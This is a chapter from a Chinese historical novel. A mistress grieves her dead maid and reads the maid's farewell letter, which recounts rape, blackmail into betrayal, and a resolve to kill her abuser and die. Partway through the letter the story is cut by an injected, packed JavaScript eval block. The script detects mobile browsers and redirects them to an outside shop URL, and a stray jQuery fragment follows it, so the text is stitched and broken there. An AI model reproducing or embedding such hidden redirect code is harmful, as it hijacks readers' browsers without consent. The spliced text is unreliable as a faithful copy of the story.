夜深了，烛火已尽，只余一室清冷月光。
陈榕拥被坐在榻上，她环抱着双膝，望着桌案上那只坛子。
脑子里充斥着回忆，知夏的音容笑貌仿佛还在眼前。
“小姐，小姐。”
有人在耳边唤着，知夏的声音。
可仔细去想，怎么会呢？
内心最深处早已认清现实，那现实残忍到如同利刃，每当忆起从前相处的点点滴滴，那利刃就一遍遍刺向她的心脏，血肉模糊。
离那日已经过去了多时，陈榕仍旧木然，她无法接受不久前还活生生陪在身边的人，转瞬间就消失了。
这种消失，不是离别，不是失散，而是永远的消逝，这意味着从此这个世间都不会再有这个人的身影，上穷碧落下至黄泉，你再也见不到她，她永远只能活在你的记忆里了。
没有自欺欺人的在远处各自安好，就是真真切切的……死了。
这现实一日日一遍遍地凌迟着陈榕的心，她整个人都瘦了一大圈。
“小姐。”
“小姐。”
“小姐！”
陈榕迟钝地转了转眼珠，过了好半晌眼神才聚焦，又花了好一会儿，才意识到知夏跪在床前。
“小姐，很晚了，快些睡吧。”
陈榕没有丝毫反应，知秋眼睛红了，“别再想了，奴婢求您了。”
陈榕的目光慢半拍地落在知秋脸上，那侧脸上有一处燎泡，她抬指，却只停在半空，没有触上去。
知秋顺着她的动作反应过来，摸了摸自己的脸，“今日煮面时不小心烫到了。”
陈榕望着望着，突然觉得如此亏欠，知秋的痛苦不会比她少，却瞧着要比她坚强。
“别怕。”陈榕顺势牵住知秋，哑声低低道。
***
时间是良药，苦痛会随着日子渐渐不那么外显，却也如同一道深刻的疤痕，永远留在了那里。
时光一天天流逝，陈榕和知秋相依陪伴，熬过了最痛苦的那段日子，她不再整日整日地窝在屋子里，愿意出来院里与知秋一起晒晒太阳。
盛夏已去，阳光不再那般灼人，初秋的风裹上了凉气。
陈榕偶尔会坐在秋千上，看着知秋在一旁忙活，秋千荡呀荡，身子也跟着轻了。
她去看知秋，若遇上她担忧的目光，便牵起嘴角，二人相视一笑，并不多言。
等到终于攒够了勇气，陈榕推开侧厢房的门。
好久了，屋里的东西都落了一层灰，这段时日她与知秋都没敢进来，此刻望着这间小小的屋子，又能想起知夏。
可已是钝痛，成了习惯。
陈榕一步步走到床榻前，失了骨头般坐下去，她双手向后撑着，仰起头平静了很久。
拿起枕头搁在一旁，果然看见了压在下头的信。
小姐亲启。
盯着信封上那四个字，陈榕忽地轻轻笑了下。
小姐？
陈府里好几位小姐呢，谁知道你是写给谁的。
她注视半晌，然后极其小心地拆开了信。
来之前就做好了决定，无论什么，至少要听听她想说的。
小姐，展信佳。
看到这封信的时候，我应已不再伴小姐身旁。小姐曾说过，不愿称呼疏远，也不喜“奴婢”二字，故而这一回，不用“您”与“奴婢”，只有“小姐”与“我”。
这还是我第一次写信给小姐，大约也是最后一封，我想小姐应当也等了许久了，我来慢慢向小姐解释。
我原名叫刘夏，是进了陈府之后才改的知夏，知秋先进府，又碰巧我名字里有个“夏”字，因此改了名。
我很喜欢“知夏”这个名字，因为与小姐相遇时，我已经是知夏了。
而刘夏，太过肮脏。
二夫人院里有个小厮，叫做张升，我与他同住一条巷，两家父母自幼便为我们定了娃娃亲。
但我不喜欢他，他整日偷鸡摸狗，不务正业，从小便跟着人去勾栏，我躲着他，他却仗着定亲的名头总来寻我。
他常说，日后要赚大钱，做人上人。
那晚，趁着天黑，他闯进我房里脱我的衣裳，我拼命挣扎，可他力气太大，又威胁说我爹娘就在隔壁，他说若他招来旁人，瞧见女儿小小年纪就敢与人半夜苟合，被人看了笑话，我爹娘定会要了我的命。
他还骗我说，日后一定会娶我，会对我好。
那时候年纪小，一边担心一边害怕，不敢再反抗，让他得了逞。事后他便跑了，我一个人望着屋顶，又疼又恶心。
人人都说老刘家的女儿伶牙俐齿，小小年纪便麻利能干，还读过书，比男子都强。
可那时候，我只想去死。
却终究是不敢。
后来碰上陈府里的管家来采买丫鬟，买的是隔壁家的女儿，我起了心思，我想离张升远远的。
我将自己卖进陈府，爹娘阻拦我也不听，原以为从此可以不再见到张升，即便一辈子困在这府里，我也不怕。
更何况遇上了小姐，我觉得，我终于有了好日子。
可老天爷偏偏见不得我好，隔年，我在府里见到了张升。
他跟在二夫人身后，瞧见我时，笑得那般面目可憎。
我吓得浑身冰冷，那时小姐还关心我，小姐转过身来，握住我的手，恰巧为我挡住那令人作呕的眼神，手上传来的力道让我回了神。
我告诉自己，不同了，如今有小姐在我身边。
之后他时不时会偷偷来找我，说些羞辱的话，但总归是在陈府里，他不敢放肆，而且小姐走到哪里都会带上我与知秋，他并没有多少机会。
我又庆幸地以为，从前的刘夏已经过去了，如今陪在小姐身边的，是知夏。
可那一回，他来找我，说三小姐有令，要我去汀兰院定期禀报小姐的一举一动。
那一刻，我如坠冰窟，我告诉他绝无可能，他又威胁我，说我若不做，他便告诉所有人我是个烂货破鞋，勾引他，还要去寻我爹娘。
还是太怕了，我最终答应了他。
三小姐和二夫人从他那里得知了我的过往，用爹娘与清白死死地捏住了我。
自此以后，看见小姐，我刻刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521725|203040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心痛难安，所有的温和与关心，都成了扎在我心上的尖刺，我再无法心安理得地面对小姐的好。
我明白，说再多也无法掩盖我出卖小姐的事实。
我以为，小姐这般谨慎，早该发现我的背叛，我一直在等小姐对我的质问，我日日盼着那一刻的到来，我想那时候我也许才能够解脱。
可我始终等不到，反而等来的是小姐在三小姐面前对我的多次相护。
三小姐不满意我一直以来都没能递上有用的消息，对我更加严苛，可她不知，当真是无话可说，小姐明明这样好。
三小姐的指使，张升的骚扰和威胁，还有小姐一次次的回护，这些教我夜夜噩梦，我甚至期盼过，撞破我与张升的是小姐。
可惜不是。
小姐应当记得，我爱看话本，知秋总笑我，说我整日做金童玉女的鸳鸯梦。
其实她猜错了，我早不信那情爱话本，统统花言巧语，骗人罢了。
我太后悔当初的胆怯，换来了今日的报应，该结束了，既然一切因我而起，合该由我来收场。
可恨我还是懦弱，三小姐和二夫人手里握着爹娘的安危，他们操劳一辈子，我连孝敬他们都做不到，实在无颜叫他们再被我牵连，不得安生。
这些年，因为爹娘，因为胆怯，因为自己的懦弱不敢言，我自始至终活在痛苦和愧疚之中，已无力再坚持。
临死前，我只想去杀了张升，是他让我变得肮脏，是他让我无法再陪在小姐身边。
今日做了如此决定，有去无回，不论怎样都是我自愿的，小姐莫要为我难过。
当然，我也猜得到，这是妄言。
我素知小姐良善，是以祈求，伤怀一时足矣，往后万千保重。
这是我最后的心愿，小姐定要成全，就当是安我心，否则我过奈何桥时也得惦记着。
本不愿小姐知道这些，怕污了小姐的眼睛与耳朵，但更怕小姐被蒙在鼓里。
只盼小姐能够原谅我，直到最后都不敢当众说出真相，只敢给小姐写信。
此生最幸之事，莫过于与小姐相逢，能陪小姐走过一程，更是心满意足。
来到陈府，知夏无悔。
往后的路，不能再陪小姐了，惟愿小姐佳好。
我也不单独写信给知秋了，小姐代我转达便好，我们三个，下辈子再遇。
***
捏着信的手脱了力，垂落在膝上止不住地战栗，晶莹的泪珠一滴滴坠落，怕打湿了信纸，陈榕吃力地挪了挪手，只这么一个简单的动作，却花去了她全身的力气。
巨大的窒息感压得她喘不过气来，陈榕费力抬起一只手，掐住自己的脖颈。
吸气，呼气，吸气，呼气……
她再也撑不住，倒下去，侧着身子蜷缩起来，泪水滑过鼻梁与侧脸，浸入被褥之中，嘴里发苦，隐约还有淡淡的血腥味。
可另一只手始终握着那封信，不敢用力，也不敢放手。
良久，终于能够呼吸，她嘴里呢喃着，泪落至唇边，尝了尝，是咸的，却更是涩的。
“傻子。”